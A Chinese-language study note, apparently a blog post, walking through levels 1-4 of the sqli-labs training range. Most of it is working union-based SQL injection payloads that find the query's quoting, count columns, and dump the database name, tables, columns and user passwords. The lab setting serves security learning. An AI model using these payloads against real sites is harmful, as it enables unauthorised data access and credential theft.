sqli-labs靶场学习(一)

一.知识点

1.数据库

数据库是一个用于存储和管理数据的仓库。数据按照特定的格式存储,可以对数据库中的数据进行增加、修改、删除和查询操作。数据库的本质是一个文件系统,按照一定的逻辑结构组织数据,以方便高效地访问和维护。

2.数据库管理系统(DataBase Management System,DBMS)

数据库管理系统是一个操作和管理数据库的软件。它用于建立、使用和维护数据库,对数据库进行统一管理和控制,以保证数据库的安全性和完整性。用户通过数据库管理系统访问数据库中表内的数据。

3.基本步骤


1 、)寻找注入点
2 、)判断闭合方式
3 、)验证漏洞
4 、)判断列数及回显位
5 、)取数据
取数据库名
根据数据库名,取表名
根据数据库名、表名,取列名
取具体数据

二.sqli-labs

第一关

第一步判断是数字型还是字符型

输入?id=1'     //报错

输入?id=1' --+     //(--+为注释符)正常回显

所以sqli-labs-1为字符型注入

第二步判断其列数

用order by语句来查看有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

试出来是到3的时候报错,所以列数为3

?id=1'order by 3 --+

第三步显示报错位

  ?id=-1' union select 1,2,3 --+

当union前面的语句为false,才会执行后面语句

发现哪些位置是可以显示的

第四步爆库名以及版本

?id=-1' union select 1,database(),version()--+

找到了库名:security

版本:5.5.53

第五步:爆表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

information_schema.tables表示该数据库下的tables表,点(.)表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

第六步爆列名

通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内容

第七步:查询字段

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs-2

第一步:判断是什么型

id=1--+

id=1‘--+显示报错 说明是数字型注入

接下来的步骤与sqli-labs一致,只是上一关是字符型注入这一题是数字型注入 payload如下

?id=1 --+
?id=1 order by 3--+
?id=-1 union select 1,2,3--+
?id=-1 union select 1,database(),version()--+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1 union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs-3

第一步:判断什么型

输入id=1’ 提示注意)

输入id=1‘)报错

输入id=1’)--+

所以我们推断单引号字符型且有括号

同样接下来与前两题步骤一样

?id=1')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs-4

方法同上,根据页面报错信息得知sql语句是双引号字符型且有括号

与前几关步骤相同

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

参考资料

http://t.csdnimg.cn/tiA6s

http://t.csdnimg.cn/LqSU9

http://t.csdnimg.cn/EAOse

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/558841.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

RCE漏洞及其绕过——[SWPUCTF 2021 新生赛]easyrce、caidao、babyrce

目录 什么是Shell 1、Shell简介 2、印刷约定 一、什么是RCE 漏洞产生条件: 漏洞检测: 1.远程命令执行 system()函数: passthru()函数: exec()函数: 无回显 shell_exec()函数: 2.远程代码执行 e…

我的创作纪念日(256)

一、缘起——Why I choose CSDN 在大二升到大三的暑假期间,为了督促自己学习智能机器人这一领域的知识,啃下这块硬骨头,我决定一边学习,一边在CSDN这个平台上分享一些学习心得。当时我跟着韩顺平老师学习Linux系统,跟…

IP地址定位:揭秘精准定位的技术与应用

在数字化时代,IP地址已成为连接互联网世界的关键标识之一。但是,很多人对于IP地址的精准定位能力存在疑虑。本文将深入探讨IP地址定位的技术原理以及其在实际应用中的精确度。 IP地址查询:IP数据云 - 免费IP地址查询 - 全球IP地址定位平台 …

torchvision指定版本whl安装(Ubuntu20环境)

pytorch教程需要torchvision下载数据集,使用pip安装指定版本,首先使用conda list torch查看自己安装torch版本,我的pytorch版本1.9.0对应cuda版本11.1 在以下网址查找对应torchvision版本,https://pytorch.org/get-started/prev…

vue-cli2 与vue-cli3,vue2与vue3 初始化项目,本地vue项目,详细解析区别(2024-04-19)

目录 1、区别(vue-cli2 与 vue-cli3 ) 2、例子1(vue2项目) 2.1 版本与命令行 2.2 项目本地截图 2.3 项目文件解析 (1)package.json 文件 (2)webpack.dev.conf.js文件 &#…

【备战算法岗】—— 控制模块复习(持续更新!!!)

1 控制理论基础 1.1 控制模块概述 输入:轨迹线Reference、地图信息、定位信息、车辆反馈信息 输出:刹车、油门、转向 CANBUS:车辆底盘交互协议 底盘、速度、四轮转速、健康状况、底盘报错、自动驾驶状态 运动学模型:刚体运动&a…

linux的线程概念

目录 1.原理 2.线程的周边概念 3.创建线程的接口 1.pthread_create 2.pthread_join 3.pthread_detach 4.终止线程 5.C11封装的多线程库 4.线程库的大概结构 5.__thread(只能修饰内置类型) 6.线程的互斥 1.了解原理 2.加锁 1.接口 2.代码示…

遍历取后端数据推送到地图上,实现图标点标记地图效果

遍历取后端数据推送到地图上,实现图标点标记地图效果 示例链接: 功能示例(Vue版) | Mars3D三维可视化平台 | 火星科技 踩坑注意点: 1. id: 1 是地图底图的id 后台也返回之后 id直接会有冲突 此时图标标记之后无法单击 相关代码&#xff1a…

异步 IO 机制 io_uring

一、io_uring 原理 如何解决频繁 copy 的问题 → mmap 内存映射解决。 submit queue 中的节点和 complete queue 中的节点共用一块内存,而不是把 submit queue 中的节点 copy 到 complete queue 中。 如何做到线程安全 → 无锁环形队列解决。 二、io_uring 使用 内…

了解 Python 底层的解释器 CPython 和 Python 的对象模型

🍉 CSDN 叶庭云:https://yetingyun.blog.csdn.net/ 一、CPython CPython 是 Python 编程语言的官方和最广泛使用的实现。它是用 C 语言编写的,因此得名 “CPython”。作为 Python 生态系统的核心,了解 CPython 的工作原理、主要特…

【新版】系统架构设计师 - 知识点 - 结构化开发方法

个人总结,仅供参考,欢迎加好友一起讨论 文章目录 架构 - 知识点 - 结构化开发方法结构化开发方法结构化分析结构化设计 数据流图和数据字典模块内聚类型与耦合类型 架构 - 知识点 - 结构化开发方法 结构化开发方法 分析阶段 工具:数据流图、…

如何实现文件上传到阿里云OSS!!!(结合上传pdf使用)

一、开通阿里云OSS对象存储服务 对象存储 OSS_云存储服务_企业数据管理_存储-阿里云阿里云对象存储 OSS 是一款海量、安全、低成本、高可靠的云存储服务,提供 99.995 % 的服务可用性和多种存储类型,适用于数据湖存储,数据迁移,企…

股票战法课程之主力的痕迹

文章目录 1. 主力的操作痕迹2. 主力的建仓2.1 建仓的三种方式2.2 建仓的五个特点2.3 建仓的迹象2.4 建仓的成交量特征 1. 主力的操作痕迹 序号痕迹原因1不跟随大盘节奏筹码都在主力手中2突发利空消息,股价不跌反涨主力被套,不希望散户抛盘3很小的成交量…

智己汽车数据驱动中心PMO高级经理张晶女士受邀为第十三届中国PMO大会演讲嘉宾

全国PMO专业人士年度盛会 智己汽车科技有限公司数据驱动中心PMO高级经理张晶女士受邀为PMO评论主办的2024第十三届中国PMO大会演讲嘉宾,演讲议题为“规模化敏捷落地实践”。大会将于5月25-26日在北京举办,敬请关注! 议题简要: 2…

CSS基础:table的4个标签的样式详解(6000字长文!附案例)

你好,我是云桃桃。 一个希望帮助更多朋友快速入门 WEB 前端的程序媛。 云桃桃-大专生,一枚程序媛,感谢关注。回复 “前端基础题”,可免费获得前端基础 100 题汇总,回复 “前端工具”,可获取 Web 开发工具合…

【Java】Comparable和Comparator的区别

文章目录 区别Comparable示例Comparator示例参考资料 都可以用于排序。都是接口。 区别 Comparable示例 让被排序的类实现 Comparable 接口&#xff0c;重写 compareTo() 方法。 import java.util.*;public class Main {public static void main(String[] args){TreeSet<…

端点安全时刻影响着网络安全,我们应该如何保护

端点&#xff08;Endpoint&#xff09;是网络通信中的一个重要概念&#xff0c;指的是网络通信中的发送或接收信息的设备或节点。在一个网络中&#xff0c;端点可以是硬件设备&#xff08;如计算机、服务器、手机、路由器等&#xff09;&#xff0c;也可以是软件应用或服务。端…

PSO-BP和BP多输入多输出回归预测模型 matlab (多输入多输出)

文章目录 效果一览文章概述订阅专栏只能获取一份代码部分源码参考资料效果一览 文章概述 PSO-BP和BP多输入多输出回归预测模型 matlab (多输入多输出) 订阅专栏只能获取一份代码 部分源码 %------

ceph osd分组

一、前言 使用分组可以更好的管理osd&#xff0c;将不同类型的磁盘&#xff0c;分到不同的组中&#xff0c;例如hhd类型的osd分配到hhd组&#xff0c;ssd类型的osd分配到ssd组&#xff0c;将io要求不高的分配到hhd组做存储&#xff0c;io要求高的分配到ssd组做存储 二、配置 查…

Linux驱动开发笔记(一)字符驱动

文章目录 前言一、字符设备驱动程序框架二、基本原理1. 设备号的申请与归还2. 保存file_operations接口3. 设备节点的创建和销毁4. 创建文件设备4.1 mknod4.2 init_special_incode( )函数 5. 查找file_operation接口函数速查表 三、程序编写1. 模块初始化及关闭2. 文件操作方式…
最新文章